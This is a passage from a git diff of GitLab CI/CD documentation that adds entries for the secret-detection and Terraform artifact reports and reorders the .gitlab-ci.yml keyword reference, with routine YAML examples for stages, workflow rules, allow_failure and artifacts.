+- The merge request [SAST widget](../../user/application_security/sast/index.md#static-application-security-testing-sast).
+- The [security dashboard](../../user/application_security/security_dashboard/index.md).
+
+## `artifacts:reports:secret_detection`
+
+> - Introduced in GitLab 13.1.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/222788) to GitLab Free in 13.3.
+> - Requires GitLab Runner 11.5 and above.
+
+The `secret-detection` report collects [detected secrets](../../user/application_security/secret_detection/index.md).
+The collected Secret Detection report is uploaded to GitLab.
+
+GitLab can display the results of one or more reports in:
+
+- The merge request [secret scanning widget](../../user/application_security/secret_detection/index.md).
+- The [pipeline **Security** tab](../../user/application_security/index.md#view-security-scan-information-in-the-pipeline-security-tab).
+- The [security dashboard](../../user/application_security/security_dashboard/index.md).
+
+## `artifacts:reports:terraform`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207528) in GitLab 13.0.
+> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above.
+
+The `terraform` report obtains a Terraform `tfplan.json` file. [JQ processing required to remove credentials](../../user/infrastructure/iac/mr_integration.md#configure-terraform-report-artifacts).
+The collected Terraform plan report uploads to GitLab as an artifact.
+
+GitLab can display the results of one or more reports in the merge request
+[terraform widget](../../user/infrastructure/iac/mr_integration.md#output-terraform-plan-information-into-a-merge-request).
+
+For more information, see [Output `terraform plan` information into a merge request](../../user/infrastructure/iac/mr_integration.md).
diff --git a/doc/ci/yaml/includes.md b/doc/ci/yaml/includes.md
index 5e2eb53a0ea..3c94ddb3c14 100644
--- a/doc/ci/yaml/includes.md
+++ b/doc/ci/yaml/includes.md
@@ -238,7 +238,7 @@ In `include` sections in your `.gitlab-ci.yml` file, you can use:
In GitLab 14.5 and later, you can also use:
-- [Trigger variables](../triggers/index.md#making-use-of-trigger-variables).
+- [Trigger variables](../triggers/index.md#pass-cicd-variables-in-the-api-call).
- [Scheduled pipeline variables](../pipelines/schedules.md#using-variables).
- [Manual pipeline run variables](../variables/index.md#override-a-variable-when-running-a-pipeline-manually).
- Pipeline [predefined variables](../variables/predefined_variables.md).
diff --git a/doc/ci/yaml/index.md b/doc/ci/yaml/index.md
index 5702c7a7dfd..ed05ef08d02 100644
--- a/doc/ci/yaml/index.md
+++ b/doc/ci/yaml/index.md
@@ -16,6 +16,8 @@ This document lists the configuration options for your GitLab `.gitlab-ci.yml` f
When you are editing your `.gitlab-ci.yml` file, you can validate it with the
[CI Lint](../lint.md) tool.
+If you are editing this page, make sure you follow the [CI/CD YAML reference style guide](../../development/cicd/cicd_reference_documentation_guide.md).
+
## Keywords
A GitLab CI/CD pipeline configuration includes:
@@ -25,9 +27,9 @@ A GitLab CI/CD pipeline configuration includes:
| Keyword | Description |
|-------------------------|:------------|
| [`default`](#default) | Custom default values for job keywords. |
+ | [`include`](#include) | Import configuration from other YAML files. |
| [`stages`](#stages) | The names and order of the pipeline stages. |
| [`workflow`](#workflow) | Control what types of pipeline run. |
- | [`include`](#include) | Import configuration from other YAML files. |
- [Jobs](../jobs/index.md) configured with [job keywords](#job-keywords):
@@ -73,7 +75,7 @@ or import additional pipeline configuration.
### `default`
You can set global defaults for some keywords. Jobs that do not define one or more
-of the listed keywords use the value defined in the `default:` section.
+of the listed keywords use the value defined in the `default` section.
**Keyword type**: Global keyword.
@@ -90,7 +92,7 @@ of the listed keywords use the value defined in the `default:` section.
- [`tags`](#tags)
- [`timeout`](#timeout)
-**Example of `default`:**
+**Example of `default`**:
```yaml
default:
@@ -106,7 +108,7 @@ rspec 2.7:
In this example, `ruby:3.0` is the default `image` value for all jobs in the pipeline.
The `rspec 2.7` job does not use the default, because it overrides the default with
-a job-specific `image:` section:
+a job-specific `image` section:
**Additional details**:
@@ -116,179 +118,6 @@ a job-specific `image:` section:
takes precedence and is not replaced by the default.
- Control inheritance of default keywords in jobs with [`inherit:default`](#inheritdefault).
-### `stages`
-
-Use `stages` to define stages that contain groups of jobs. Use [`stage`](#stage)
-in a job to configure the job to run in a specific stage.
-
-If `stages` is not defined in the `.gitlab-ci.yml` file, the default pipeline stages are:
-
-- [`.pre`](#stage-pre)
-- `build`
-- `test`
-- `deploy`
-- [`.post`](#stage-post)
-
-The order of the items in `stages` defines the execution order for jobs:
-
-- Jobs in the same stage run in parallel.
-- Jobs in the next stage run after the jobs from the previous stage complete successfully.
-
-**Keyword type**: Global keyword.
-
-**Example of `stages`:**
-
-```yaml
-stages:
- - build
- - test
- - deploy
-```
-
-In this example:
-
-1. All jobs in `build` execute in parallel.
-1. If all jobs in `build` succeed, the `test` jobs execute in parallel.
-1. If all jobs in `test` succeed, the `deploy` jobs execute in parallel.
-1. If all jobs in `deploy` succeed, the pipeline is marked as `passed`.
-
-If any job fails, the pipeline is marked as `failed` and jobs in later stages do not
-start. Jobs in the current stage are not stopped and continue to run.
-
-**Additional details**:
-
-- If a job does not specify a [`stage`](#stage), the job is assigned the `test` stage.
-- If a stage is defined but no jobs use it, the stage is not visible in the pipeline,
- which can help [compliance pipeline configurations](../../user/project/settings/index.md#compliance-pipeline-configuration):
- - Stages can be defined in the compliance configuration but remain hidden if not used.
- - The defined stages become visible when developers use them in job definitions.
-
-**Related topics**:
-
-- To make a job start earlier and ignore the stage order, use the [`needs`](#needs) keyword.
-
-### `workflow`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29654) in GitLab 12.5
-
-Use [`workflow`](workflow.md) to control pipeline behavior.
-
-**Related topics**:
-
-- [`workflow: rules` examples](workflow.md#workflow-rules-examples)
-- [Switch between branch pipelines and merge request pipelines](workflow.md#switch-between-branch-pipelines-and-merge-request-pipelines)
-
-#### `workflow:rules`
-
-The `rules` keyword in `workflow` is similar to [`rules:` defined in jobs](#rules),
-but controls whether or not a whole pipeline is created.
-
-When no rules evaluate to true, the pipeline does not run.
-
-**Possible inputs**: You can use some of the same keywords as job-level [`rules`](#rules):
-
-- [`rules: if`](#rulesif).
-- [`rules: changes`](#ruleschanges).
-- [`rules: exists`](#rulesexists).
-- [`when`](#when), can only be `always` or `never` when used with `workflow`.
-- [`variables`](#workflowrulesvariables).
-
-**Example of `workflow:rules`:**
-
-```yaml
-workflow:
- rules:
- - if: $CI_COMMIT_MESSAGE =~ /-draft$/
- when: never
- - if: $CI_PIPELINE_SOURCE == "merge_request_event"
- - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
-```
-
-In this example, pipelines run if the commit message does not have `-drafts` in it
-and the pipeline is for either:
-
-- A merge request
-- The default branch.
-
-**Additional details**:
-
-- If your rules match both branch pipelines (other than the default branch) and merge request pipelines,
- [duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines) can occur.
-
-**Related topics**:
-
-- You can use the [`workflow:rules` templates](workflow.md#workflowrules-templates) to import
- a preconfigured `workflow: rules` entry.
-- [Common `if` clauses for `workflow:rules`](workflow.md#common-if-clauses-for-workflowrules).
-
-#### `workflow:rules:variables`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/294232) in GitLab 13.11.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/300997) in GitLab 14.1.
-
-You can use [`variables`](#variables) in `workflow:rules:` to define variables for
-specific pipeline conditions.
-
-When the condition matches, the variable is created and can be used by all jobs
-in the pipeline. If the variable is already defined at the global level, the `workflow`
-variable takes precedence and overrides the global variable.
-
-**Keyword type**: Global keyword.
-
-**Possible inputs**: Variable name and value pairs:
-
-- The name can use only numbers, letters, and underscores (`_`).
-- The value must be a string.
-
-**Example of `workflow:rules:variables`:**
-
-```yaml
-variables:
- DEPLOY_VARIABLE: "default-deploy"
-
-workflow:
- rules:
- - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
- variables:
- DEPLOY_VARIABLE: "deploy-production" # Override globally-defined DEPLOY_VARIABLE
- - if: $CI_COMMIT_REF_NAME =~ /feature/
- variables:
- IS_A_FEATURE: "true" # Define a new variable.
- - when: always # Run the pipeline in other cases
-
-job1:
- variables:
- DEPLOY_VARIABLE: "job1-default-deploy"
- rules:
- - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
- variables: # Override DEPLOY_VARIABLE defined
- DEPLOY_VARIABLE: "job1-deploy-production" # at the job level.
- - when: on_success # Run the job in other cases
- script:
- - echo "Run script with $DEPLOY_VARIABLE as an argument"
- - echo "Run another script if $IS_A_FEATURE exists"
-
-job2:
- script:
- - echo "Run script with $DEPLOY_VARIABLE as an argument"
- - echo "Run another script if $IS_A_FEATURE exists"
-```
-
-When the branch is the default branch:
-
-- job1's `DEPLOY_VARIABLE` is `job1-deploy-production`.
-- job2's `DEPLOY_VARIABLE` is `deploy-production`.
-
-When the branch is `feature`:
-
-- job1's `DEPLOY_VARIABLE` is `job1-default-deploy`, and `IS_A_FEATURE` is `true`.
-- job2's `DEPLOY_VARIABLE` is `default-deploy`, and `IS_A_FEATURE` is `true`.
-
-When the branch is something else:
-
-- job1's `DEPLOY_VARIABLE` is `job1-default-deploy`.
-- job2's `DEPLOY_VARIABLE` is `default-deploy`.
-
### `include`
> [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/42861) to GitLab Free in 11.4.
@@ -372,8 +201,10 @@ use `include:file`. You can use `include:file` in combination with `include:proj
**Keyword type**: Global keyword.
-**Possible inputs**: A full path, relative to the root directory (`/`).
-The YAML file must have the extension `.yml` or `.yaml`.
+**Possible inputs**:
+
+- A full path, relative to the root directory (`/`). The YAML file must have the
+ extension `.yml` or `.yaml`.
**Example of `include:file`**:
@@ -428,10 +259,10 @@ Use `include:remote` with a full URL to include a file from a different location
**Keyword type**: Global keyword.
-**Possible inputs**: A public URL accessible by an HTTP/HTTPS `GET` request.
-Authentication with the remote URL is not supported.
+**Possible inputs**:
-The YAML file must have the extension `.yml` or `.yaml`.
+- A public URL accessible by an HTTP/HTTPS `GET` request. Authentication with the
+ remote URL is not supported. The YAML file must have the extension `.yml` or `.yaml`.
**Example of `include:remote`**:
@@ -454,7 +285,9 @@ Use `include:template` to include [`.gitlab-ci.yml` templates](https://gitlab.co
**Keyword type**: Global keyword.
-**Possible inputs**: [`.gitlab-ci.yml` templates](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
+**Possible inputs**:
+
+- [`.gitlab-ci.yml` templates](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
**Example of `include:template`**:
@@ -477,224 +310,189 @@ include:
- All [nested includes](includes.md#use-nested-includes) are executed only with the permission of the user,
so it's possible to use `project`, `remote`, or `template` includes.
-## Job keywords
+### `stages`
-The following topics explain how to use keywords to configure CI/CD pipelines.
+Use `stages` to define stages that contain groups of jobs. Use [`stage`](#stage)
+in a job to configure the job to run in a specific stage.
-### `image`
+If `stages` is not defined in the `.gitlab-ci.yml` file, the default pipeline stages are:
-Use `image` to specify a Docker image that the job runs in.
+- [`.pre`](#stage-pre)
+- `build`
+- `test`
+- `deploy`
+- [`.post`](#stage-post)
-**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
+The order of the items in `stages` defines the execution order for jobs:
-**Possible inputs**: The name of the image, including the registry path if needed, in one of these formats:
+- Jobs in the same stage run in parallel.
+- Jobs in the next stage run after the jobs from the previous stage complete successfully.
-- `<image-name>` (Same as using `<image-name>` with the `latest` tag)
-- `<image-name>:<tag>`
-- `<image-name>@<digest>`
+**Keyword type**: Global keyword.
-**Example of `image`**:
+**Example of `stages`**:
```yaml
-default:
- image: ruby:3.0
-
-rspec:
- script: bundle exec rspec
-
-rspec 2.7:
- image: registry.example.com/my-group/my-project/ruby:2.7
- script: bundle exec rspec
+stages:
+ - build
+ - test
+ - deploy
```
-In this example, the `ruby:3.0` image is the default for all jobs in the pipeline.
-The `rspec 2.7` job does not use the default, because it overrides the default with
-a job-specific `image:` section.
+In this example:
-**Related topics**:
+1. All jobs in `build` execute in parallel.
+1. If all jobs in `build` succeed, the `test` jobs execute in parallel.
+1. If all jobs in `test` succeed, the `deploy` jobs execute in parallel.
+1. If all jobs in `deploy` succeed, the pipeline is marked as `passed`.
-- [Run your CI/CD jobs in Docker containers](../docker/using_docker_images.md).
+If any job fails, the pipeline is marked as `failed` and jobs in later stages do not
+start. Jobs in the current stage are not stopped and continue to run.
-#### `image:name`
+**Additional details**:
-The name of the Docker image that the job runs in. Similar to [`image:`](#image) used by itself.
+- If a job does not specify a [`stage`](#stage), the job is assigned the `test` stage.
+- If a stage is defined but no jobs use it, the stage is not visible in the pipeline,
+ which can help [compliance pipeline configurations](../../user/project/settings/index.md#compliance-pipeline-configuration):
+ - Stages can be defined in the compliance configuration but remain hidden if not used.
+ - The defined stages become visible when developers use them in job definitions.
-**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
+**Related topics**:
-**Possible inputs**: The name of the image, including the registry path if needed, in one of these formats:
+- To make a job start earlier and ignore the stage order, use the [`needs`](#needs) keyword.
-- `<image-name>` (Same as using `<image-name>` with the `latest` tag)
-- `<image-name>:<tag>`
-- `<image-name>@<digest>`
+### `workflow`
-**Example of `image:name`**:
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29654) in GitLab 12.5
-```yaml
-image:
- name: "registry.example.com/my/image:latest"
-```
+Use [`workflow`](workflow.md) to control pipeline behavior.
**Related topics**:
-- [Run your CI/CD jobs in Docker containers](../docker/using_docker_images.md).
+- [`workflow: rules` examples](workflow.md#workflow-rules-examples)
+- [Switch between branch pipelines and merge request pipelines](workflow.md#switch-between-branch-pipelines-and-merge-request-pipelines)
-#### `image:entrypoint`
+#### `workflow:rules`
-Command or script to execute as the container's entry point.
+The `rules` keyword in `workflow` is similar to [`rules` defined in jobs](#rules),
+but controls whether or not a whole pipeline is created.
-When the Docker container is created, the `entrypoint` is translated to the Docker `--entrypoint` option.
-The syntax is similar to the [Dockerfile `ENTRYPOINT` directive](https://docs.docker.com/engine/reference/builder/#entrypoint),
-where each shell token is a separate string in the array.
+When no rules evaluate to true, the pipeline does not run.
-**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
+**Possible inputs**: You can use some of the same keywords as job-level [`rules`](#rules):
-**Possible inputs**: A string.
+- [`rules: if`](#rulesif).
+- [`rules: changes`](#ruleschanges).
+- [`rules: exists`](#rulesexists).
+- [`when`](#when), can only be `always` or `never` when used with `workflow`.
+- [`variables`](#workflowrulesvariables).
-**Example of `image:entrypoint`**:
+**Example of `workflow:rules`**:
```yaml
-image:
- name: super/sql:experimental
- entrypoint: [""]
+workflow:
+ rules:
+ - if: $CI_COMMIT_MESSAGE =~ /-draft$/
+ when: never
+ - if: $CI_PIPELINE_SOURCE == "merge_request_event"
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
```
-**Related topics**:
-
-- [Override the entrypoint of an image](../docker/using_docker_images.md#override-the-entrypoint-of-an-image).
-
-#### `services`
-
-Use `services` to specify an additional Docker image to run scripts in. The [`services` image](../services/index.md) is linked
-to the image specified in the [`image`](#image) keyword.
-
-**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
-
-**Possible inputs**: The name of the services image, including the registry path if needed, in one of these formats:
-
-- `<image-name>` (Same as using `<image-name>` with the `latest` tag)
-- `<image-name>:<tag>`
-- `<image-name>@<digest>`
+In this example, pipelines run if the commit message does not have `-drafts` in it
+and the pipeline is for either:
-**Example of `services`**:
+- A merge request
+- The default branch.
-```yaml
-default:
- image:
- name: ruby:2.6
- entrypoint: ["/bin/bash"]
+**Additional details**:
- services:
- - name: my-postgres:11.7
- alias: db-postgres
- entrypoint: ["/usr/local/bin/db-postgres"]
- command: ["start"]
+- If your rules match both branch pipelines (other than the default branch) and merge request pipelines,
+ [duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines) can occur.
- before_script:
- - bundle install
+**Related topics**:
-test:
- script:
- - bundle exec rake spec
-```
+- You can use the [`workflow:rules` templates](workflow.md#workflowrules-templates) to import
+ a preconfigured `workflow: rules` entry.
+- [Common `if` clauses for `workflow:rules`](workflow.md#common-if-clauses-for-workflowrules).
-In this example, the job launches a Ruby container. Then, from that container, the job launches
-another container that's running PostgreSQL. Then the job then runs scripts
-in that container.
+#### `workflow:rules:variables`
-**Related topics**:
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/294232) in GitLab 13.11.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/300997) in GitLab 14.1.
-- [Available settings for `services`](../services/index.md#available-settings-for-services).
-- [Define `services` in the `.gitlab-ci.yml` file](../services/index.md#define-services-in-the-gitlab-ciyml-file).
-- [Run your CI/CD jobs in Docker containers](../docker/using_docker_images.md).
-- [Use Docker to build Docker images](../docker/using_docker_build.md).
+You can use [`variables`](#variables) in `workflow:rules` to define variables for
+specific pipeline conditions.
-### `script`
+When the condition matches, the variable is created and can be used by all jobs
+in the pipeline. If the variable is already defined at the global level, the `workflow`
+variable takes precedence and overrides the global variable.
-Use `script` to specify commands for the runner to execute.
+**Keyword type**: Global keyword.
-All jobs except [trigger jobs](#trigger) require a `script` keyword.
+**Possible inputs**: Variable name and value pairs:
-**Keyword type**: Job keyword. You can use it only as part of a job.
+- The name can use only numbers, letters, and underscores (`_`).
+- The value must be a string.
-**Possible inputs**: An array including:
+**Example of `workflow:rules:variables`**:
-- Single line commands.
-- Long commands [split over multiple lines](script.md#split-long-commands).
-- [YAML anchors](yaml_optimization.md#yaml-anchors-for-scripts).
+```yaml
+variables:
+ DEPLOY_VARIABLE: "default-deploy"
-**Example of `script`:**
+workflow:
+ rules:
+ - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
+ variables:
+ DEPLOY_VARIABLE: "deploy-production" # Override globally-defined DEPLOY_VARIABLE
+ - if: $CI_COMMIT_REF_NAME =~ /feature/
+ variables:
+ IS_A_FEATURE: "true" # Define a new variable.
+ - when: always # Run the pipeline in other cases
-```yaml
job1:
- script: "bundle exec rspec"
+ variables:
+ DEPLOY_VARIABLE: "job1-default-deploy"
+ rules:
+ - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
+ variables: # Override DEPLOY_VARIABLE defined
+ DEPLOY_VARIABLE: "job1-deploy-production" # at the job level.
+ - when: on_success # Run the job in other cases
+ script:
+ - echo "Run script with $DEPLOY_VARIABLE as an argument"
+ - echo "Run another script if $IS_A_FEATURE exists"
job2:
script:
- - uname -a
- - bundle exec rspec
+ - echo "Run script with $DEPLOY_VARIABLE as an argument"
+ - echo "Run another script if $IS_A_FEATURE exists"
```
-**Additional details**:
-
-- When you use [these special characters in `script`](script.md#use-special-characters-with-script), you must use single quotes (`'`) or double quotes (`"`) .
-
-**Related topics**:
-
-- You can [ignore non-zero exit codes](script.md#ignore-non-zero-exit-codes).
-- [Use color codes with `script`](script.md#add-color-codes-to-script-output)
- to make job logs easier to review.
-- [Create custom collapsible sections](../jobs/index.md#custom-collapsible-sections)
- to simplify job log output.
-
-#### `before_script`
-
-Use `before_script` to define an array of commands that should run before each job's
-`script` commands, but after [artifacts](#artifacts) are restored.
-
-**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
-
-**Possible inputs**: An array including:
+When the branch is the default branch:
-- Single line commands.
-- Long commands [split over multiple lines](script.md#split-long-commands).
-- [YAML anchors](yaml_optimization.md#yaml-anchors-for-scripts).
+- job1's `DEPLOY_VARIABLE` is `job1-deploy-production`.
+- job2's `DEPLOY_VARIABLE` is `deploy-production`.
-**Example of `before_script`:**
+When the branch is `feature`:
-```yaml
-job:
- before_script:
- - echo "Execute this command before any 'script:' commands."
- script:
- - echo "This command executes after the job's 'before_script' commands."
-```
+- job1's `DEPLOY_VARIABLE` is `job1-default-deploy`, and `IS_A_FEATURE` is `true`.
+- job2's `DEPLOY_VARIABLE` is `default-deploy`, and `IS_A_FEATURE` is `true`.
-**Additional details**:
+When the branch is something else:
-- Scripts you specify in `before_script` are concatenated with any scripts you specify
- in the main [`script`](#script). The combined scripts execute together in a single shell.
+- job1's `DEPLOY_VARIABLE` is `job1-default-deploy`.
+- job2's `DEPLOY_VARIABLE` is `default-deploy`.
-**Related topics**:
+## Job keywords
-- [Use `before_script` with `default`](script.md#set-a-default-before_script-or-after_script-for-all-jobs)
- to define a default array of commands that should run before the `script` commands in all jobs.
-- You can [ignore non-zero exit codes](script.md#ignore-non-zero-exit-codes).
-- [Use color codes with `before_script`](script.md#add-color-codes-to-script-output)
- to make job logs easier to review.
-- [Create custom collapsible sections](../jobs/index.md#custom-collapsible-sections)
- to simplify job log output.
+The following topics explain how to use keywords to configure CI/CD pipelines.
-#### `after_script`
+### `after_script`
Use `after_script` to define an array of commands that run after each job, including failed jobs.
**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
+[`default` section](#default).
**Possible inputs**: An array including:
@@ -702,7 +500,7 @@ Use `after_script` to define an array of commands that run after each job, inclu
- Long commands [split over multiple lines](script.md#split-long-commands).
- [YAML anchors](yaml_optimization.md#yaml-anchors-for-scripts).
-**Example of `after_script`:**
+**Example of `after_script`**:
```yaml
job:
@@ -740,1168 +538,922 @@ If a job times out or is cancelled, the `after_script` commands do not execute.
- [Create custom collapsible sections](../jobs/index.md#custom-collapsible-sections)
to simplify job log output.
-### `stage`
+### `allow_failure`
-Use `stage` to define which [stage](#stages) a job runs in. Jobs in the same
-`stage` can execute in parallel (see **Additional details**).
+Use `allow_failure` to determine whether a pipeline should continue running when a job fails.
-If `stage` is not defined, the job uses the `test` stage by default.
+- To let the pipeline continue running subsequent jobs, use `allow_failure: true`.
+- To stop the pipeline from running subsequent jobs, use `allow_failure: false`.
+
+When jobs are allowed to fail (`allow_failure: true`) an orange warning (**{status_warning}**)
+indicates that a job failed. However, the pipeline is successful and the associated commit
+is marked as passed with no warnings.
+
+This same warning is displayed when:
+
+- All other jobs in the stage are successful.
+- All other jobs in the pipeline are successful.
+
+The default value for `allow_failure` is:
+
+- `true` for [manual jobs](../jobs/job_control.md#create-a-job-that-must-be-run-manually).
+- `false` for manual jobs that also use [`rules`](#rules).
+- `false` in all other cases.
**Keyword type**: Job keyword. You can use it only as part of a job.
-**Possible inputs**: An array including any number of stage names. Stage names can be:
+**Possible inputs**:
-- The [default stages](#stages).
-- User-defined stages.
+- `true` or `false`.
-**Example of `stage`**:
+**Example of `allow_failure`**:
```yaml
-stages:
- - build
- - test
- - deploy
-
job1:
- stage: build
+ stage: test
script:
- - echo "This job compiles code."
+ - execute_script_1
job2:
stage: test
script:
- - echo "This job tests the compiled code. It runs when the build stage completes."
+ - execute_script_2
+ allow_failure: true
job3:
- script:
- - echo "This job also runs in the test stage".
-
-job4:
stage: deploy
script:
- - echo "This job deploys the code. It runs when the test stage completes."
+ - deploy_to_staging
```
-**Additional details**:
+In this example, `job1` and `job2` run in parallel:
-- Jobs can run in parallel if they run on different runners.
-- If you have only one runner, jobs can run in parallel if the runner's
- [`concurrent` setting](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section)
- is greater than `1`.
+- If `job1` fails, jobs in the `deploy` stage do not start.
+- If `job2` fails, jobs in the `deploy` stage can still start.
-#### `stage: .pre`
+**Additional details**:
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31441) in GitLab 12.4.
+- You can use `allow_failure` as a subkey of [`rules`](#rulesallow_failure).
+- You can use `allow_failure: false` with a manual job to create a [blocking manual job](../jobs/job_control.md#types-of-manual-jobs).
+ A blocked pipeline does not run any jobs in later stages until the manual job
+ is started and completes successfully.
-Use the `.pre` stage to make a job run at the start of a pipeline. `.pre` is
-always the first stage in a pipeline. User-defined stages execute after `.pre`.
-You do not have to define `.pre` in [`stages`](#stages).
+#### `allow_failure:exit_codes`
-You must have a job in at least one stage other than `.pre` or `.post`.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/273157) in GitLab 13.8.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292024) in GitLab 13.9.
-**Keyword type**: You can only use it with a job's `stage` keyword.
+Use `allow_failure:exit_codes` to control when a job should be
+allowed to fail. The job is `allow_failure: true` for any of the listed exit codes,
+and `allow_failure` false for any other exit code.
-**Example of `stage: .pre`**:
+**Keyword type**: Job keyword. You can use it only as part of a job.
-```yaml
-stages:
- - build
- - test
+**Possible inputs**:
-job1:
- stage: build
- script:
- - echo "This job runs in the build stage."
+- A single exit code.
+- An array of exit codes.
-first-job:
- stage: .pre
+**Example of `allow_failure`**:
+
+```yaml
+test_job_1:
script:
- - echo "This job runs in the .pre stage, before all other stages."
+ - echo "Run a script that results in exit code 1. This job fails."
+ - exit 1
+ allow_failure:
+ exit_codes: 137
-job2:
- stage: test
+test_job_2:
script:
- - echo "This job runs in the test stage."
+ - echo "Run a script that results in exit code 137. This job is allowed to fail."
+ - exit 137
+ allow_failure:
+ exit_codes:
+ - 137
+ - 255
```
-#### `stage: .post`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31441) in GitLab 12.4.
-
-Use the `.post` stage to make a job run at the end of a pipeline. `.post`
-is always the last stage in a pipeline. User-defined stages execute before `.post`.
-You do not have to define `.post` in [`stages`](#stages).
-
-You must have a job in at least one stage other than `.pre` or `.post`.
-
-**Keyword type**: You can only use it with a job's `stage` keyword.
-
-**Example of `stage: .post`**:
-
-```yaml
-stages:
- - build
- - test
-
-job1:
- stage: build
- script:
- - echo "This job runs in the build stage."
+### `artifacts`
-last-job:
- stage: .post
- script:
- - echo "This job runs in the .post stage, after all other stages."
+Use `artifacts` to specify which files to save as [job artifacts](../pipelines/job_artifacts.md).
+Job artifacts are a list of files and directories that are
+attached to the job when it [succeeds, fails, or always](#artifactswhen).
-job2:
- stage: test
- script:
- - echo "This job runs in the test stage."
-```
+The artifacts are sent to GitLab after the job finishes. They are
+available for download in the GitLab UI if the size is smaller than the
+the [maximum artifact size](../../user/gitlab_com/index.md#gitlab-cicd).
-### `extends`
+By default, jobs in later stages automatically download all the artifacts created
+by jobs in earlier stages. You can control artifact download behavior in jobs with
+[`dependencies`](#dependencies).
-Use `extends` to reuse configuration sections. It's an alternative to [YAML anchors](yaml_optimization.md#anchors)
-and is a little more flexible and readable.
+When using the [`needs`](#needs) keyword, jobs can only download
+artifacts from the jobs defined in the `needs` configuration.
-**Keyword type**: Job keyword. You can use it only as part of a job.
+Job artifacts are only collected for successful jobs by default, and
+artifacts are restored after [caches](#cache).
-**Possible inputs:**
+[Read more about artifacts](../pipelines/job_artifacts.md).
-- The name of another job in the pipeline.
-- A list (array) of names of other jobs in the pipeline.
+#### `artifacts:exclude`
-**Example of `extends`:**
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15122) in GitLab 13.1
+> - Requires GitLab Runner 13.1
-```yaml
-.tests:
- script: rake test
- stage: test
- only:
- refs:
- - branches
+Use `artifacts:exclude` to prevent files from being added to an artifacts archive.
-rspec:
- extends: .tests
- script: rake rspec
- only:
- variables:
- - $RSPEC
-```
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
-In this example, the `rspec` job uses the configuration from the `.tests` template job.
-When creating the pipeline, GitLab:
+**Possible inputs**:
-- Performs a reverse deep merge based on the keys.
-- Merges the `.tests` content with the `rspec` job.
-- Doesn't merge the values of the keys.
+- An array of file paths, relative to the project directory.
+- You can use Wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming)) or
+ [`doublestar.PathMatch`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#PathMatch) patterns.
-The result is this `rspec` job:
+**Example of `artifacts:exclude`**:
```yaml
-rspec:
- script: rake rspec
- stage: test
- only:
- refs:
- - branches
- variables:
- - $RSPEC
+artifacts:
+ paths:
+ - binaries/
+ exclude:
+ - binaries/**/*.o
```
-**Additional details:**
+This example stores all files in `binaries/`, but not `*.o` files located in
+subdirectories of `binaries/`.
-- In GitLab 12.0 and later, you can use multiple parents for `extends`.
-- The `extends` keyword supports up to eleven levels of inheritance, but you should
- avoid using more than three levels.
-- In the example above, `.tests` is a [hidden job](../jobs/index.md#hide-jobs),
- but you can extend configuration from regular jobs as well.
+**Additional details**:
-**Related topics:**
+- `artifacts:exclude` paths are not searched recursively.
+- Files matched by [`artifacts:untracked`](#artifactsuntracked) can be excluded using
+ `artifacts:exclude` too.
-- [Reuse configuration sections by using `extends`](yaml_optimization.md#use-extends-to-reuse-configuration-sections).
-- Use `extends` to reuse configuration from [included configuration files](yaml_optimization.md#use-extends-and-include-together).
-
-### `rules`
+**Related topics**:
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3.
+- [Exclude files from job artifacts](../pipelines/job_artifacts.md#exclude-files-from-job-artifacts).
-Use `rules` to include or exclude jobs in pipelines.
+#### `artifacts:expire_in`
-Rules are evaluated when the pipeline is created, and evaluated *in order*
-until the first match. When a match is found, the job is either included or excluded from the pipeline,
-depending on the configuration.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16267) in GitLab 13.0 behind a disabled feature flag, the latest job artifacts are kept regardless of expiry time.
+> - [Made default behavior](https://gitlab.com/gitlab-org/gitlab/-/issues/229936) in GitLab 13.4.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241026) in GitLab 13.8, keeping latest job artifacts can be disabled at the project level.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276583) in GitLab 13.9, keeping latest job artifacts can be disabled instance-wide.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321323) in GitLab 13.12, the latest pipeline artifacts are kept regardless of expiry time.
-You cannot use dotenv variables created in job scripts in rules, because rules are evaluated before any jobs run.
